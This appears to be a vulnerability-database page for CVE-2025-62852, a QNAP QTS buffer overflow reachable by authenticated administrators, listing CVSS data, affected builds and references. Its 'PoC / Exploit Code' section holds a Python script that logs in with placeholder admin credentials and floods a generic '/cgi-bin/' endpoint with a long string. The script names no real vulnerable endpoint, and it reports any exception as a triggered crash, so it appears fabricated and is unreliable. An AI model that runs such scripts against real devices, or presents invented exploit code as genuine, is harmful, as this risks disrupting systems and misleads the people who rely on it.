CVE-2025-62852

Description

A buffer overflow vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to modify memory or crash processes. We have already fixed the vulnerability in the following version: QTS 5.2.8.3332 build 20251128 and later

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS < 5.2.8.3332 build 20251128

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-62852 PoC - QNAP QTS Buffer Overflow
# Note: This is a conceptual PoC for educational purposes only

import requests
import sys

target = "http://target-ip:8080"

def exploit_buffer_overflow(target_ip):
    """
    Construct malicious payload to trigger buffer overflow
    Requires administrator authentication
    """
    # Authentication with admin credentials
    session = requests.Session()
    login_url = f"{target_ip}/cgi-bin/authLogin.cgi"
    auth_data = {
        "username": "admin",
        "password": "admin_password"
    }
    
    # Login attempt
    login_response = session.post(login_url, data=auth_data)
    
    if login_response.status_code != 200:
        print("[-] Authentication failed")
        return False
    
    # Construct overflow payload
    # Target specific vulnerable endpoint
    vulnerable_endpoint = f"{target_ip}/cgi-bin/"
    
    # Large payload to trigger overflow
    overflow_payload = "A" * 10000
    
    exploit_data = {
        "buffer_data": overflow_payload,
        "action": "modify"
    }
    
    try:
        response = session.post(vulnerable_endpoint, data=exploit_data, timeout=10)
        print(f"[*] Exploit sent, response status: {response.status_code}")
        return True
    except Exception as e:
        print(f"[*] Exploit triggered crash: {e}")
        return True

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-62852_poc.py <target_ip>")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    exploit_buffer_overflow(target_ip)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62852
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62852
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62852/
[4] VulDB https://vuldb.com/cve/CVE-2025-62852
[5] https://www.qnap.com/en/security-advisory/qsa-25-51

Raw JSON Data

JSON

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